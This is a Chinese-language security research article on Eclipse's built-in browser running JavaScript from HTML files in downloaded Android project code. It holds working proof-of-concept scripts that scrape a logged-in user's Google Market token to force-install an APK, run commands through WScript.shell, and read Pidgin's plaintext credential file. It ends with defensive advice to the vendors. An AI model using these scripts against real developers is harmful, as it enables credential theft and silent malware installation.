Android應用安全之開發環境帶來的危險
by SuperHei_at_www.80vul.com
一、前言
在去年的文檔《WEB2.0下的滲透測試》里提到了一點就是在2.0時代,攻擊者的攻擊方式
是針對攻擊的目標身份而變化的。對于開發人員來說,開發環境的安全問題一直是被忽視
的,雖然這類問題提了很多年了。本文就是以andriod開發環境里編輯器的一個小問題展開
的...
二、android的開發環境簡介
1、安裝JDK :http://www.oracle.com/technetwork/java/javase/downloads/index.html
2、安裝Eclipse :http://www.eclipse.org/downloads/
3、安裝ADT插件:打開Eclipse,依次Help--->install new software-->ADD-->Location:
https://dl-ssl.google.com/Android/eclipse/-->OK
4、安裝Android SDK
三、Eclipse的瀏覽器的漏洞
以上環境配置好了后,對于開發人員來說最常用的肯定就是IDE了也就是著名的編輯器
Eclipse,在我使用Eclipse的過程中發現了一個小問題,那就是Eclipse的瀏覽器在windows
下直接調用IE內核來實現的,而在非windows下使用的是WEBKit核心的瀏覽器。對于這樣的簡
陋的瀏覽器有一個通病,那就是安全防御薄弱。具體在Eclipse里,有個致命的問題那就是,
當開發者點擊html文件時,默認情況下,它調用的不是編輯界面,而是瀏覽器里運行!而且
是沒有任何安全提示下通過file://偽協議下執行html文件里的javascript代碼,大家都知
道,可以在file://里執行js就意味著一個“跨域”漏洞可能....
四、apk代碼結構與html文件
下面是我在網絡上下載的一個apk代碼包,它的目錄結構如下:
C:\android\Test>tree /f
文件夾 PATH 列表
C:.
│ .classpath
│ .project
│ AndroidManifest.xml
│ proguard.cfg
│ project.properties
│ readme.htm
│
├─assets
│ index.htm
│
├─bin
│ ├─classes
│ │ └─com
│ │ └─szy
│ │ └─test
│ │ MainActivity.class
│ │
│ ├─com
│ │ └─szy
│ │ └─test
│ │ MainActivity.class
│ │
│ └─res
├─gen
├─res
│ ├─drawable-hdpi
│ │ icon.png
│ │
│ ├─drawable-ldpi
│ │ icon.png
│ │
│ ├─drawable-mdpi
│ │ icon.png
│ │
│ ├─layout
│ │ main.xml
│ │
│ └─values
│ strings.xml
│
└─src
└─com
└─szy
└─test
MainActivity.java
在這個代碼里我看到了兩處html文件:
1、./readme.htm 這個常用的代碼作者提過的readme文件。
2、./assets/index.htm res目錄和assets目錄是存放資源文件的兩個目錄,不同的是/assets
目錄下的資源文件不會在R.java自動生成ID。
所以這個2個地方將是我們放置和html文件引入邪惡的javascript絕佳場所!!
五、通向手機之路
我們在要實現從PC上到手機上安裝執行我們的惡意apk,常用的有2個途徑:
1、在手機通過USB連接到PC的情況下,使用adb shell來控制。
2、在pc瀏覽器登錄到market[https://market.android.com/]上下載安裝apk。
下面我們看看怎么通過Eclipse的瀏覽器執行JS來實現上面的兩個途徑:對于Eclipse的瀏覽
器在windows和非windows平臺上的設計是不相同的,那就決定了我們的攻擊方式的不同。
A、windows平臺下的途徑
windows平臺下Eclipse的瀏覽器是基于IE內核(Trident)的,對于IE來說file://下執行的
js就意味著擁有“我的電腦”域的權限,雖然微軟在IE的安全上做了不少工作,但是在本地
文件的安全還遠遠不夠,最起碼file://下的xmlhttp完全不設防...,另外微軟更多的安全措
施是基于ie的,而不是ie內核(Trident)上的,所以對于第三方的ie內核瀏覽器的安全防御那
就更加薄弱了。
a、通過market的方式
在windows下Eclipse的瀏覽器是基于IE內核來實現的,對于IE內核的瀏覽器來說,有個特點
那就是Cookie通用,也就是說IE登錄market后,Eclipse的瀏覽器也在登錄market的狀態。所
以我們就可以通過我們插入的js來實現跨market.android.com域,在market上任意執行js,
來實現惡意apk的下載安裝。當然這個的前提是你可以把你的惡意代碼放到market上,如果是
用你自己的號,那么你最起碼需要支付25刀的開戶費給Google,不過或許你可以直接使用被
攻擊者的帳號?! 另外你的apk需要通過google的審查! 所謂“道理是曲折的,前途是光明
的”? :)
這個過程如下:
攻擊者-->上傳包含了惡意Html文件的代碼包 ------------+---------------+-------------------+-----------------------+---------------上傳惡意APK到 market.android.com
|| ||
被攻擊者-->下載包含了惡意Html文件的代碼包-->Eclipse的瀏覽器打開惡意html[JS]-->通過跨域到market.android.com-->JS實現自動下載安裝惡意APK-->Mobile[andoid]
其實這個過程類似于market.android.com上xss攻擊的效果,詳見大牛jonoberheide的blog
《How I Almost Won Pwn2Own via XSS》[1]
演示代碼如下:
<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
var apkid="com.tencent.qqpimsecure";
xmlhttp.open("GET", "https://market.android.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
var regx = /userEmail: '(.*)', userG/
var rs= regx.exec(ret);
var gmail = rs[1];
var regx = /selectedDeviceId: '(.*)', absoluteBaseUrl/
var rs= regx.exec(ret);
var deviceId = rs[1];
var regx = /token: '(.*)', locale/
var rs= regx.exec(ret);
var token = rs[1];
alert("gmail:"+gmail+"\n"+"DeviceId:"+deviceId+"\n"+"token:"+token);
xmlhttp.open("POST", "https://market.android.com/install", false);
xmlhttp.setRequestHeader("Referer", "https://market.android.com/");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(unescape("id="+apkid+"&offerType=1&device="+deviceId+"&xhr=1&token="+token));
</script>
b、通過WSH執行adb shell的方式
在ie內核的瀏覽器里file://本地文件是在“我的電腦”域執行的[在沒有MOTW標志的情況
下],在“我的電腦”域是可以執行WSH的只不過,在多年的縫縫補補下IE執行WSH是有安全提
示的,不過對于一些沒有安全意識開發人員來說,或許很容易點擊"YES"?!! 演示代碼如下:
<script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>
B、非windows平臺下的途徑
對于market途徑來說,Eclipse的瀏覽器是通過webkit來實現的,它沒有IE那樣的特性,所以
如果要通過market來實現的話,前提條件是Eclipse的瀏覽器的瀏覽器已經登錄了market,要
不然是沒有辦法的。然后webkit也沒有類似與WSH等直接的方法,那么我們還有什么思路呢?
和IE內核的第三方瀏覽器一樣,第三方的防御都很薄弱,比如這里的Eclipse的瀏覽器,對于
xmlhttp讀取本地文件也是被允許的。所以如果有本地google的帳號密碼保存的文件,我們讀
取后直接登錄market了...,一切都有可能!Pidgin保存的用戶帳號密碼都是用明文方式保存
在~/.purple/accounts.xml文件里,只要被攻擊者是使用Pidgin登錄Gtalk的話,我們就有機
會!!!
對于~目錄,是當前用戶目錄,所以使用絕對路徑時需要知道系統用戶名,這個不太好得
到,那么對于Eclipse的workspace目錄也是在~目錄下,那么我們就可以用相對路徑的方式
來讀取accounts.xml,而不需要知道系統用戶名,演示代碼如下:
<script>
function XMLHttp() { xmlhttpOK = false; var xmlhttp=null; if (window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest(); } else{
if (window.ActiveXObject){ try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
}
return xmlhttp;
}
var xhr=new XMLHttp();
function postURLRet(url, data){
if(xhr) {
xhr.open("POST",url,false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(data);
return xhr.responseText;
}
return "";
}
var ret = postURLRet("../../../.purple/accounts.xml", null);
alert(ret);
</script>
六、消失的代碼
對于有點安全意識的開發人員來說,有可能查看代碼,對于windows平臺來說,ie內核的瀏覽
器是支持“右鍵-->查看源文件“的經典方式的,在非windows平臺下的webkit方式不支持這
種方式。對于這樣的方式查看代碼的方式我們可以所用“Original Source Forgery”(詳見[2])
的方法來讓我們的代碼“消失”。
不過值得注意的是,原來代碼里的直接使用的是:
ajax('GET',location,
function(req){
....
}
ajax函數里直接使用location但是目前ie已經禁止使用xmlhttp請求本地文件了,所以我們可
以把你的惡意html文件copy一份在遠程的web主機上,然后使用http,或者你自己手工寫在代
碼里。
但是對于Eclipse來說打開html只是默認打開方式是瀏覽器,也就是說好友其他的方式(選擇
html文件右鍵-->Open With)其中有個“Text Editor”方式打開的話,你的代碼還是一覽無
遺。不過對于老版本的Eclipse來說,編輯器存在著一個漏洞可以隱藏你的代碼:
《Nullbytes hide code on Eclipse 3.5》 by Mario Heiderich [3]
七、惡意apk的實現
這里不是說怎么去實現一個惡意的apk,只是簡單的說2個問題:
在上面通過market的方式在目標的手機上安裝了你的apk,但是不會立刻馬上啟動你的apk,
所以第一個問題就是怎么啟動你的apk:
A、通過BroadcastReceiver的組建實現,這個的結果是必須等待手機的重啟。
B、通過設置android:scheme的方法,通過被動的觸發這個scheme來實現啟動[比如通過短信
或者郵件的方式發送url,url頁面里代碼使用<iframe src=scheme://xx>來啟動]。
第二個問題的是“惡意apk的職能”,也就是說你的控制目標手機的目的,就目前市面上的
Android Malware來看基本都是以盜取信息為目的,對于大炒APT(Advanced Persistent
Threat)的時代,對于移動設備控制的目的應該有新的詮釋,移動設備在APT過程里應該只是
流程的一個小部分,也就是把你的帶入目標網絡里的一個途徑。所以就這個目的來看,以后
的惡意apk開發可能圍繞局域網里的網絡自動掃描攻擊而展開...
八、小結
上面提到主要有下面幾個問題:
1、 Eclipse的問題:
i、默認方式所用了瀏覽器方式打開html文件。
ii、瀏覽器對javascript沒有安全提示就直接運行。
2、 Android market對于下載安裝等敏感操沒有考慮防御xss下的csrf情況[如所用驗證碼的方式]。
很多人把一些安全問題歸結到"用戶缺少安全意識"的結論上,其實不然,對于現在的安全理
念我們的"官方"應該考慮到某些用戶存在著"缺少安全意識"情況,所以在我們的功能或者
UI設計上要考慮到這中情況,盡量減少"安全隱患",比如上面提到的Eclipse在處理html文件
的方式上,可以改為默認為編輯狀態。另外對于Android market應該考慮到得到token的情況
下的csrf的情況,可以考慮危險的操作可以設置驗證碼等等,一切都以"不要你的用戶為安全
漏洞買單"為目標,這才是王道!
九、參考
[1]http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/
[2]http://www.scriptjunkie.us/2011/09/original-source-forgery/
[3]https://bugs.eclipse.org/bugs/show_bug.cgi?id=283231
-EOF-
亚洲欧美在线